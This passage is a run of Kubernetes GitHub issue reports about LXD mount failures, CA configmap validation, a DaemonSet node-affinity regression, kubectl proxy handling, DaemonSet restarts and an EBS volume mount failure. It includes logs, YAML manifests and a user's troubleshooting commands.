--description=kubernetes transient mount for /var/lib/kubelet/pods/46eac8a9-c252-11e7-9a83-02424f90a469/volumes/kubernetes.io~secret/kube-proxy-token-bfk49 --scope -- mount -t tmpfs tmpfs /var/lib/kubelet/pods/46eac8a9-c252-11e7-9a83-02424f90a469/volumes/kubernetes.io~secret/kube-proxy-token-bfk49\r output: running scope as unit run-rcf7a91cad03948eb96514c7cfc49595e.scope.\r mount: only root can use \ --types\  option  effective uid is 1000000 \r   warning  failedmount  12s  kubelet, kubemaster1  mountvolume.setup failed for volume \ kube-proxy-token-bfk49\  : mount failed: exit status 1\r mounting command: systemd-run\r mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/46eac8a9-c252-11e7-9a83-02424f90a469/volumes/kubernetes.io~secret/kube-proxy-token-bfk49 --scope -- mount -t tmpfs tmpfs /var/lib/kubelet/pods/46eac8a9-c252-11e7-9a83-02424f90a469/volumes/kubernetes.io~secret/kube-proxy-token-bfk49\r output: running scope as unit run-ra4f31cc3de3241bc92efeac47669fd4d.scope.\r mount: only root can use \ --types\  option  effective uid is 1000000 \r   warning  failedmount  10s  kubelet, kubemaster1  mountvolume.setup failed for volume \ kube-proxy-token-bfk49\  : mount failed: exit status 1\r mounting command: systemd-run\r mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/46eac8a9-c252-11e7-9a83-02424f90a469/volumes/kubernetes.io~secret/kube-proxy-token-bfk49 --scope -- mount -t tmpfs tmpfs /var/lib/kubelet/pods/46eac8a9-c252-11e7-9a83-02424f90a469/volumes/kubernetes.io~secret/kube-proxy-token-bfk49\r output: running scope as unit run-rd03fa7ba6ba146138513dde46a882ead.scope.\r mount: only root can use \ --types\  option  effective uid is 1000000 \r   warning  failedmount  6s  kubelet, kubemaster1  mountvolume.setup failed for volume \ kube-proxy-token-bfk49\  : mount failed: exit status 1\r mounting command: systemd-run\r mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/46eac8a9-c252-11e7-9a83-02424f90a469/volumes/kubernetes.io~secret/kube-proxy-token-bfk49 --scope -- mount -t tmpfs tmpfs /var/lib/kubelet/pods/46eac8a9-c252-11e7-9a83-02424f90a469/volumes/kubernetes.io~secret/kube-proxy-token-bfk49\r output: running scope as unit run-r7f68f54770ca4d5f90748d45f3563a0d.scope.\r mount: only root can use \ --types\  option  effective uid is 1000000 \r    \r \r indeed, if i try the 'mount -t' command at kubemaster1 shell prompt it fails with the same error message. it seems that's the proper behavior for a container, even a privileged one, since mounting file systems is a very dangerous operation that only the host's root  uid 0  should be able to perform.\r \r i can disable default serviceaccount token mounts in the respective daemonsets' configurations, but then pods won't start since they don't find the token files in the mount path the code expects them to be.\r \r   what you expected to happen  :\r \r cni-related pods start and pod networking becomes operative. this must indeed be possible, since e.g. canonical's juju is supposed to be able to deploy kubernetes to a cluster of lxd containers  though it is not in my environment .\r \r the kubelet should be able to find out it is running inside an lxd container  or it should be possible to tell it through a command-line argument or configuration parameter  so that it does not use 'mount -t' to mount serviceaccount tokens in that environment  i tried with the '--containerized' argument and kubelet won't even start inside the lxd container .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create two lxd containers  e.g. kubemaster1 and kubeworker1  then follow the steps described above to install the kubernetes cluster and the networking plugin in kubemaster1.\r \r   anything else we need to know?  :\r a seemingly related problem was detected and commented in  this issue  https://github.com/kubernetes/kubernetes/issues/18239 .\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:48:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:38:10z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r hp zbook 15 portable workstation\r 16gb ram\r 512gb hdd\r intel core i7 vpro chipset\r \r - os  e.g. from /etc/os-release :\r   host:  \r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r   lxd container:  \r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r - kernel  e.g.  uname -a  :\r   host:  \r linux elx74401d27 4.4.0-97-generic  120-ubuntu smp tue sep 19 17:28:18 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r   lxd container:  \r linux kubemaster1 4.4.0-97-generic  120-ubuntu smp tue sep 19 17:28:18 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r manual install following https://kubernetes.io/docs/setup/independent/install-kubeadm/\r \r - others:\r docker version inside lxd containers:\r client:\r  version:      17.10.0-ce\r  api version:  1.33\r  go version:   go1.8.3\r  git commit:   f4ffd25\r  built:        tue oct 17 19:04:16 2017\r  os/arch:      linux/amd64\r \r server:\r  version:      17.10.0-ce\r  api version:  1.33  minimum version 1.12 \r  go version:   go1.8.3\r  git commit:   f4ffd25\r  built:        tue oct 17 19:02:56 2017\r  os/arch:      linux/amd64\r  experimental: false\r

in a multi-master kubernetes setup, the ca data in  extension-apiserver-authentication  configmap must match the ca flags for each kube-apiserver pod. currently there is no such validation done. this causes difficult to debug bugs. for example, i just debugged a scenario where an aggregate api server was seeing intermittent authentication errors. the root cause turned out to be that the ca files on each master was not same. \r \r so, does it make sense for a kube-apiserver to ensure that it's ca flags match data in  extension-apiserver-authentication  configmap if it's pod ip is an endpoint for  kubernetes  svc?\r \r 

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r after creating a _daemonset_ that uses node affinity to request only creating pods on nodes with a label matching a set of candidate values, pods get created on the appropriate nodes—and, fortunately, only on the appropriate nodes—but the pods get terminated and deleted quickly before they can start running. the cycle takes about ten seconds from pod creation through completion of deletion; the pod appears to be deleted within one second after its creation, but it takes about ten seconds for the deletion to complete.\r \r if i vary the _daemonset_'s scheduling predicates, i find the following work to get pods running successfully:\r - use  spec.template.spec.nodeselector  to choose a specific node.\r - use  spec.template.spec.nodeaffinity.requiredduringschedulingignoredduringexecution.nodeselectorterms  with an operator of \ exists\  or \ notin\  to choose some nodes.\r - use  spec.template.spec.nodeaffinity.requiredduringschedulingignoredduringexecution.nodeselectorterms  with an operator of \ in,\  but   with only one value   to choose some nodes.\r - use  spec.template.spec.nodeaffinity.requiredduringschedulingignoredduringexecution.nodeselectorterms  with a label that is not applied by the cloud provider.  \r   if i come up with my own label such as \ special-hardware\  and use _kubectl label node_ to apply it, and use that label as a match expression key, it seems to work fine. it's the dynamically applied labels like \ beta.kubernetes.io/instance-type\  and \ kubernetes.io/hostname\  that trigger this problem.\r \r without the above concessions, if i use  spec.template.spec.nodeaffinity.requiredduringschedulingignoredduringexecution.nodeselectorterms  with an operator of \ in,\  but   with more than one value  , the pods don't start correctly.\r \r note that this behavior is a   regression from kubernetes version 1.10.4  . the same configuration works as intended in a cluster running that earlier version.\r \r   what you expected to happen  :\r \r after creating the _daemonset_, pods would start successfully on the nodes with label values matching one of the _daemonset_'s candidates values.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a _daemonset_ that uses node affinity to request only creating pods on nodes with a label matching a set of candidate values.\r     yaml\r apiversion: apps/v1\r kind: daemonset\r metadata:\r   name: problem\r   labels:\r     purpose: demonstrate\r spec:\r   selector:\r     matchlabels:\r       app: sleeper\r   template:\r     metadata:\r       labels:\r         app: sleeper\r     spec:\r       affinity:\r         nodeaffinity:\r           requiredduringschedulingignoredduringexecution:\r             nodeselectorterms:\r             - matchexpressions:\r               - key: beta.kubernetes.io/instance-type\r                 operator: in\r                 values:\r                 - p2.xlarge\r                 - g3.8xlarge\r       tolerations:\r       - operator: exists\r         effect: noschedule\r       containers:\r       - name: busybox\r         image: busybox\r         command:  \ /bin/sleep\ , \ 7200\  \r    \r 2. confirm that at least one node has a label with a value that matches a member of that candidate set.\r 2. use _kubectl get pods -o wide_ to observe that there are pods created on behalf of the _daemonset_ on nodes that match the predicate, but they have status \ terminating.\  by watching the pods, you can see new pods arrive with status \ pending,\  then \ containercreating,\  then \ terminating,\  which they'll retain until deletion completes and a replacement arrives.\r 2. create a similar pod directly, without a supervising _daemonset_.  \r   if the \ beta.kubernetes.io/instance-type\  label is inconvenient within your cluster, instead consider using \ kubernetes.io/hostname\  and a few hostnames as the candidate values.\r     yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: created-directly\r   labels:\r     purpose: demonstrate\r spec:\r   affinity:\r     nodeaffinity:\r       requiredduringschedulingignoredduringexecution:\r         nodeselectorterms:\r         - matchexpressions:\r           - key: beta.kubernetes.io/instance-type\r             operator: in\r             values:\r             - p2.xlarge\r             - g3.8xlarge\r   tolerations:\r   - operator: exists\r     effect: noschedule\r   containers:\r   - name: busybox\r     image: busybox\r     command:  \ /bin/sleep\ , \ 7200\  \r    \r 5. confirm that one pod starts running successfully on one of the nodes that match that the predicate.\r 5. delete that lone pod  for clarity , and vary the predicate on the _daemonset_ to see which changes allow pods to start running successfully. try each of these individually:\r     - remove one of the values in the  matchexpressions 0 .values  sequence.  \r       that is, leave only one candidate value.\r     - change the  matchexpressions 0 .values  operator to \ notin,\  and adjust the values to select some subset of the nodes.  \r     alternately, try \ exists\  with no values.\r     - remove the node affinity stanza's  nodeselectorterms  and add a node selector in its place:\r     yaml\r spec:\r   template:\r     spec:\r       nodeselector:\r         beta.kubernetes.io/instance-type: g3.8xlarge\r    \r \r   anything else we need to know?  :\r \r here is the _daemonset_ object as captured via _kubectl get daemonset -o yaml_:\r     yaml\r apiversion: extensions/v1beta1\r kind: daemonset\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ apps/v1\ ,\ kind\ :\ daemonset\ ,\ metadata\ :{\ annotations\ :{},\ labels\ :{\ purpose\ :\ demonstrate\ },\ name\ :\ problem\ ,\ namespace\ :\ kube-system\ },\ spec\ :{\ selector\ :{\ matchlabels\ :{\ app\ :\ sleeper\ }},\ template\ :{\ metadata\ :{\ labels\ :{\ app\ :\ sleeper\ }},\ spec\ :{\ affinity\ :{\ nodeaffinity\ :{\ requiredduringschedulingignoredduringexecution\ :{\ nodeselectorterms\ : {\ matchexpressions\ : {\ key\ :\ kubernetes.io/hostname\ ,\ operator\ :\ in\ ,\ values\ : \ ip-10-103-0-201.ec2.internal\ ,\ ip-10-103-0-123.ec2.internal\  } } }}},\ containers\ : {\ command\ : \ /bin/sleep\ ,\ 7200\  ,\ image\ :\ busybox\ ,\ name\ :\ busybox\ } ,\ tolerations\ : {\ effect\ :\ noschedule\ ,\ operator\ :\ exists\ } }}}}\r   creationtimestamp: 2018-07-17t14:43:58z\r   generation: 22\r   labels:\r     purpose: demonstrate\r   name: problem\r   namespace: kube-system\r   resourceversion: \ 574438\ \r   selflink: /apis/extensions/v1beta1/namespaces/kube-system/daemonsets/problem\r   uid: d696a76e-89cf-11e8-b5fd-0a5cd3064e60\r spec:\r   revisionhistorylimit: 10\r   selector:\r     matchlabels:\r       app: sleeper\r   template:\r     metadata:\r       creationtimestamp: null\r       labels:\r         app: sleeper\r     spec:\r       affinity:\r         nodeaffinity:\r           requiredduringschedulingignoredduringexecution:\r             nodeselectorterms:\r             - matchexpressions:\r               - key: kubernetes.io/hostname\r                 operator: in\r                 values:\r                 - ip-10-103-0-201.ec2.internal\r                 - ip-10-103-0-123.ec2.internal\r       containers:\r       - command:\r         - /bin/sleep\r         - \ 7200\ \r         image: busybox\r         imagepullpolicy: always\r         name: busybox\r         resources: {}\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r       dnspolicy: clusterfirst\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       terminationgraceperiodseconds: 30\r       tolerations:\r       - effect: noschedule\r         operator: exists\r   templategeneration: 22\r   updatestrategy:\r     rollingupdate:\r       maxunavailable: 1\r     type: rollingupdate\r status:\r   currentnumberscheduled: 1\r   desirednumberscheduled: 1\r   numbermisscheduled: 0\r   numberready: 0\r   numberunavailable: 1\r   observedgeneration: 22\r    \r here is one of the pods created on behalf of the _daemonset_:\r     yaml\r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     cni.projectcalico.org/podip: 192.168.11.46/32\r   creationtimestamp: 2018-07-17t15:15:17z\r   deletiongraceperiodseconds: 30\r   deletiontimestamp: 2018-07-17t15:15:49z\r   generatename: problem-\r   labels:\r     app: sleeper\r     controller-revision-hash: \ 335345753\ \r     pod-template-generation: \ 22\ \r   name: problem-jp226\r   namespace: kube-system\r   ownerreferences:\r   - apiversion: apps/v1\r     blockownerdeletion: true\r     controller: true\r     kind: daemonset\r     name: problem\r     uid: d696a76e-89cf-11e8-b5fd-0a5cd3064e60\r   resourceversion: \ 574816\ \r   selflink: /api/v1/namespaces/kube-system/pods/problem-jp226\r   uid: 3676e744-89d4-11e8-9f7e-0e98abf5b5fa\r spec:\r   affinity:\r     nodeaffinity:\r       requiredduringschedulingignoredduringexecution:\r         nodeselectorterms:\r         - matchexpressions:\r           - key: kubernetes.io/hostname\r             operator: in\r             values:\r             - ip-10-103-0-123.ec2.internal\r             - ip-10-103-0-201.ec2.internal\r   containers:\r   - command:\r     - /bin/sleep\r     - \ 7200\ \r     image: busybox\r     imagepullpolicy: always\r     name: busybox\r     resources: {}\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: default-token-mnjh7\r       readonly: true\r   dnspolicy: clusterfirst\r   nodename: ip-10-103-0-201.ec2.internal\r   restartpolicy: always\r   schedulername: default-scheduler\r   securitycontext: {}\r   serviceaccount: default\r   serviceaccountname: default\r   terminationgraceperiodseconds: 30\r   tolerations:\r   - effect: noschedule\r     operator: exists\r   - effect: noexecute\r     key: node.kubernetes.io/not-ready\r     operator: exists\r   - effect: noexecute\r     key: node.kubernetes.io/unreachable\r     operator: exists\r   - effect: noschedule\r     key: node.kubernetes.io/disk-pressure\r     operator: exists\r   - effect: noschedule\r     key: node.kubernetes.io/memory-pressure\r     operator: exists\r   volumes:\r   - name: default-token-mnjh7\r     secret:\r       defaultmode: 420\r       secretname: default-token-mnjh7\r status:\r   conditions:\r   - lastprobetime: null\r     lasttransitiontime: 2018-07-17t15:15:17z\r     status: \ true\ \r     type: initialized\r   - lastprobetime: null\r     lasttransitiontime: 2018-07-17t15:15:51z\r     message: 'containers with unready status:  busybox '\r     reason: containersnotready\r     status: \ false\ \r     type: ready\r   - lastprobetime: null\r     lasttransitiontime: null\r     message: 'containers with unready status:  busybox '\r     reason: containersnotready\r     status: \ false\ \r     type: containersready\r   - lastprobetime: null\r     lasttransitiontime: 2018-07-17t15:15:17z\r     status: \ true\ \r     type: podscheduled\r   containerstatuses:\r   - containerid: docker://b9e645e9ba1d21777dd7f868342bc6f4cf4170b931a7dcc5e9bec5de5cbaa7f5\r     image: busybox:latest\r     imageid: docker-pullable://busybox@sha256:d21b79794850b4b15d8d332b451d95351d14c951542942a816eea69c9e04b240\r     laststate: {}\r     name: busybox\r     ready: false\r     restartcount: 0\r     state:\r       terminated:\r         containerid: docker://b9e645e9ba1d21777dd7f868342bc6f4cf4170b931a7dcc5e9bec5de5cbaa7f5\r         exitcode: 137\r         finishedat: 2018-07-17t15:15:50z\r         reason: error\r         startedat: 2018-07-17t15:15:18z\r   hostip: 10.103.0.201\r   phase: running\r   podip: 192.168.11.46\r   qosclass: besteffort\r   starttime: 2018-07-17t15:15:17z\r    \r here is one of the nodes on which pods like these should run:\r     yaml\r apiversion: v1\r kind: node\r metadata:\r   annotations:\r     kubeadm.alpha.kubernetes.io/cri-socket: /var/run/dockershim.sock\r     node.alpha.kubernetes.io/ttl: \ 0\ \r     volumes.kubernetes.io/controller-managed-attach-detach: \ true\ \r   creationtimestamp: 2018-07-17t13:36:31z\r   labels:\r     beta.kubernetes.io/arch: amd64\r     beta.kubernetes.io/instance-type: g3.8xlarge\r     beta.kubernetes.io/os: linux\r     failure-domain.beta.kubernetes.io/region: us-east-1\r     failure-domain.beta.kubernetes.io/zone: us-east-1c\r     kubernetes.io/hostname: ip-10-103-0-201.ec2.internal\r   name: ip-10-103-0-201.ec2.internal\r   resourceversion: \ 583985\ \r   selflink: /api/v1/nodes/ip-10-103-0-201.ec2.internal\r   uid: 6a3e0b7a-89c6-11e8-b5fd-0a5cd3064e60\r spec:\r   podcidr: 192.168.11.0/24\r   providerid: aws:///us-east-1c/i-07b77dcf1cf44e9f1\r   taints:\r   - effect: noschedule\r     key: nvidia.com/gpu\r     value: \ true\ \r status:\r   addresses:\r   - address: 10.103.0.201\r     type: internalip\r   - address: ip-10-103-0-201.ec2.internal\r     type: internaldns\r   - address: ip-10-103-0-201.ec2.internal\r     type: hostname\r   allocatable:\r     cpu: \ 32\ \r     ephemeral-storage: \ 5258999800\ \r     hugepages-1gi: \ 0\ \r     hugepages-2mi: \ 0\ \r     memory: 251642948ki\r     nvidia.com/gpu: \ 0\ \r     pods: \ 110\ \r   capacity:\r     cpu: \ 32\ \r     ephemeral-storage: 5706380ki\r     hugepages-1gi: \ 0\ \r     hugepages-2mi: \ 0\ \r     memory: 251745348ki\r     nvidia.com/gpu: \ 0\ \r     pods: \ 110\ \r   conditions:\r   - lastheartbeattime: 2018-07-17t15:57:41z\r     lasttransitiontime: 2018-07-17t13:36:31z\r     message: kubelet has sufficient disk space available\r     reason: kubelethassufficientdisk\r     status: \ false\ \r     type: outofdisk\r   - lastheartbeattime: 2018-07-17t15:57:41z\r     lasttransitiontime: 2018-07-17t13:36:31z\r     message: kubelet has sufficient memory available\r     reason: kubelethassufficientmemory\r     status: \ false\ \r     type: memorypressure\r   - lastheartbeattime: 2018-07-17t15:57:41z\r     lasttransitiontime: 2018-07-17t13:36:31z\r     message: kubelet has no disk pressure\r     reason: kubelethasnodiskpressure\r     status: \ false\ \r     type: diskpressure\r   - lastheartbeattime: 2018-07-17t15:57:41z\r     lasttransitiontime: 2018-07-17t13:36:31z\r     message: kubelet has sufficient pid available\r     reason: kubelethassufficientpid\r     status: \ false\ \r     type: pidpressure\r   - lastheartbeattime: 2018-07-17t15:57:41z\r     lasttransitiontime: 2018-07-17t13:36:47z\r     message: kubelet is posting ready status\r     reason: kubeletready\r     status: \ true\ \r     type: ready\r   daemonendpoints:\r     kubeletendpoint:\r       port: 10250\r   images:\r   - names:\r     - quay.io/calico/node@sha256:19fdccdd4a90c4eb0301b280b50389a56e737e2349828d06c7ab397311638d29\r     - quay.io/calico/node:v3.1.1\r     sizebytes: 248203187\r   - names:\r     - quay.io/calico/node@sha256:a35541153f7695b38afada46843c64a2c546548cd8c171f402621736c6cf3f0b\r     - quay.io/calico/node:v3.1.3\r     sizebytes: 248202699\r   - names:\r     - k8s.gcr.io/kube-proxy-amd64@sha256:3c908257f494b60c0913eae6db3d35fa99825d487b2bcf89eed0a7d8e34c1539\r     - k8s.gcr.io/kube-proxy-amd64:v1.11.0\r     sizebytes: 97772373\r   - names:\r     - quay.io/calico/cni@sha256:ed172c28bc193bb09bce6be6ed7dc6bfc85118d55e61d263cee8bbb0fd464a9d\r     - quay.io/calico/cni:v3.1.3\r     sizebytes: 68849270\r   - names:\r     - quay.io/calico/cni@sha256:dc345458d136ad9b4d01864705895e26692d2356de5c96197abff0030bf033eb\r     - quay.io/calico/cni:v3.1.1\r     sizebytes: 68844820\r   - names:\r     - quay.io/calico/typha@sha256:095d040ed75a5c9751f92c5282e8defad9dc66495eb865af5f130b624f612a69\r     - quay.io/calico/typha:v0.7.2\r     sizebytes: 56938089\r   - names:\r     - k8s.gcr.io/nvidia-gpu-device-plugin@sha256:0842734032018be107fa2490c98156992911e3e1f2a21e059ff0105b07dd8e9e\r     sizebytes: 17574483\r   - names:\r     - busybox@sha256:d21b79794850b4b15d8d332b451d95351d14c951542942a816eea69c9e04b240\r     - busybox:latest\r     sizebytes: 1162745\r   - names:\r     - k8s.gcr.io/pause@sha256:f78411e19d84a252e53bff71a4407a5686c46983a2c2eeed83929b888179acea\r     - k8s.gcr.io/pause:3.1\r     sizebytes: 742472\r   nodeinfo:\r     architecture: amd64\r     bootid: 59f59427-8db6-4406-9366-2ced8606477a\r     containerruntimeversion: docker://18.3.1\r     kernelversion: 4.14.48-coreos-r2\r     kubeproxyversion: v1.11.0\r     kubeletversion: v1.11.0\r     machineid: 03523ebe7a23416a81527cf38db8ceb6\r     operatingsystem: linux\r     osimage: container linux by coreos 1745.7.0  rhyolite \r     systemuuid: ec2d5427-2d56-79d5-ad7c-27f7511aa436\r    \r there some preceding discussion in the \ sig-node\  channel of the \ kubernetes\  slack team  starting on sunday, 15 july 2018  https://kubernetes.slack.com/archives/c0bp8pw9g/p1531673863000087 .\r possibly related issues:  22205,  61886\r possibly related prs:  28803\r \r   environment  :\r - kubernetes version  use  kubectl version  :  \r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t22:29:25z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:08:34z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:  \r   aws ec2  g3.8xlarge instance, but other instance types exhibit the same behavior \r \r - os  e.g. from /etc/os-release :  \r    \r name=\ container linux by coreos\ \r id=coreos\r version=1745.7.0\r version_id=1745.7.0\r build_id=2018-06-14-0909\r pretty_name=\ container linux by coreos 1745.7.0  rhyolite \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r \r - kernel  e.g.  uname -a  :  \r    \r linux ip-10-103-0-201 4.14.48-coreos-r2  1 smp thu jun 14 08:23:03 utc 2018 x86_64 intel r  xeon r  cpu e5-2686 v4 @ 2.30ghz genuineintel gnu/linux\r    \r \r - install tools: _kubeadm init_, _kubeadm join_

with  kubectl  having the --server parameter should also allow a way to specify a noproxy address.  the reason being is the environment that i am working with needs a proxy server for everything. when trying to specify a --server with  kubectl  there is no way to specify when to use the proxy vs. not use the proxy on the command line.  as a workaround i have to add the address to no_proxy.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r \r  \r \r   what happened  :\r i want to add a kubernetes extended resource to each node that appears in the cluster. i created a daemonset that creates that resource, but it performs endless restarts of the completed pods.\r \r   what you expected to happen  :\r daemonset doesn't restart completed pods\r \r   how to reproduce it  as minimally and precisely as possible   :\r any daemonset with completed pod.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t17:53:03z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : coreos\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r \r there seems to be a bug. a node failed to mount a volume to a container because a node didn't mount a volume to a host first.\r    \r events:\r   type     reason       age   from                                                        message\r   ----     ------       ----  ----                                                        -------\r   normal   scheduled    6m    default-scheduler                                           successfully assigned jenkins/rdist-postcommit-build-pod to ip-10-211-108-192.ap-northeast-2.compute.internal\r   warning  failedmount  6m    kubelet, ip-10-211-108-192.ap-northeast-2.compute.internal  mountvolume.setup failed for volume \ pvc-f43a6b05-e58f-11e8-b8ff-022fa366068e\  : mount failed: exit status 32\r mounting command: systemd-run\r mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/f4690f77-e58f-11e8-b8ff-022fa366068e/volumes/kubernetes.io~aws-ebs/pvc-f43a6b05-e58f-11e8-b8ff-022fa366068e --scope -- mount -o bind /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/ap-northeast-2a/vol-067bed9cfae3e8cf6 /var/lib/kubelet/pods/f4690f77-e58f-11e8-b8ff-022fa366068e/volumes/kubernetes.io~aws-ebs/pvc-f43a6b05-e58f-11e8-b8ff-022fa366068e\r output: running scope as unit run-r0307f015327242ca9c5853fce8d48a86.scope.\r mount: special device /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/ap-northeast-2a/vol-067bed9cfae3e8cf6 does not exist\r   warning  failedmount  6m  kubelet, ip-10-211-108-192.ap-northeast-2.compute.internal  mountvolume.setup failed for volume \ pvc-f43a6b05-e58f-11e8-b8ff-022fa366068e\  : mount failed: exit status 32\r mounting command: systemd-run\r mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/f4690f77-e58f-11e8-b8ff-022fa366068e/volumes/kubernetes.io~aws-ebs/pvc-f43a6b05-e58f-11e8-b8ff-022fa366068e --scope -- mount -o bind /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/ap-northeast-2a/vol-067bed9cfae3e8cf6 /var/lib/kubelet/pods/f4690f77-e58f-11e8-b8ff-022fa366068e/volumes/kubernetes.io~aws-ebs/pvc-f43a6b05-e58f-11e8-b8ff-022fa366068e\r output: running scope as unit run-r60f47b01fa7a4f89a6d7dbaa69e1b3b8.scope.\r mount: special device /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/ap-northeast-2a/vol-067bed9cfae3e8cf6 does not exist\r   warning  failedmount  6m  kubelet, ip-10-211-108-192.ap-northeast-2.compute.internal  mountvolume.setup failed for volume \ pvc-f43a6b05-e58f-11e8-b8ff-022fa366068e\  : mount failed: exit status 32\r mounting command: systemd-run\r mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/f4690f77-e58f-11e8-b8ff-022fa366068e/volumes/kubernetes.io~aws-ebs/pvc-f43a6b05-e58f-11e8-b8ff-022fa366068e --scope -- mount -o bind /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/ap-northeast-2a/vol-067bed9cfae3e8cf6 /var/lib/kubelet/pods/f4690f77-e58f-11e8-b8ff-022fa366068e/volumes/kubernetes.io~aws-ebs/pvc-f43a6b05-e58f-11e8-b8ff-022fa366068e\r output: running scope as unit run-rb59d79eda47143cf85f5711b6c6d7c02.scope.\r mount: special device /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/ap-northeast-2a/vol-067bed9cfae3e8cf6 does not exist\r    \r \r i checked the mount point for the ebs volue, but there wasn't any directory under /var/lib/kubelet/plugins/. so, the volume couldn't be mounted.\r    \r root@ip-10-211-108-192:~  ls -l /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/ap-northeast-2a/vol-067bed9cfae3e8cf6\r ls: cannot access '/var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/ap-northeast-2a/vol-067bed9cfae3e8cf6': no such file or directory\r root@ip-10-211-108-192:~  ls -l /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/\r ls: cannot access '/var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/': no such file or directory\r root@ip-10-211-108-192:~  ls -l /var/lib/kubelet/plugins/\r    \r \r when i checked the volume, the volume  /dev/xvdcn  was fine.\r    \r $ fdisk -l\r ...\r disk /dev/xvdcn: 5 gib, 5368709120 bytes, 10485760 sectors\r units: sectors of 1   512 = 512 bytes\r sector size  logical/physical : 512 bytes / 512 bytes\r i/o size  minimum/optimal : 512 bytes / 512 bytes\r    \r \r so, i tried to mount the volume to /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/ap-northeast-2a/vol-067bed9cfae3e8cf6.\r    \r mkfs.ext4 /dev/xvdcn \r mke2fs 1.42.13  17-may-2015 \r creating filesystem with 1310720 4k blocks and 327680 inodes\r filesystem uuid: 9ea3069c-f437-4a3f-9fd5-e9233c9bd0a3\r superblock backups stored on blocks: \r \t32768, 98304, 163840, 229376, 294912, 819200, 884736\r \r allocating group tables: done                            \r writing inode tables: done                            \r creating journal  32768 blocks : done\r writing superblocks and filesystem accounting information: done\r \r mkdir -p /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/ap-northeast-2a/vol-067bed9cfae3e8cf6\r \r mount /dev/xvdcn 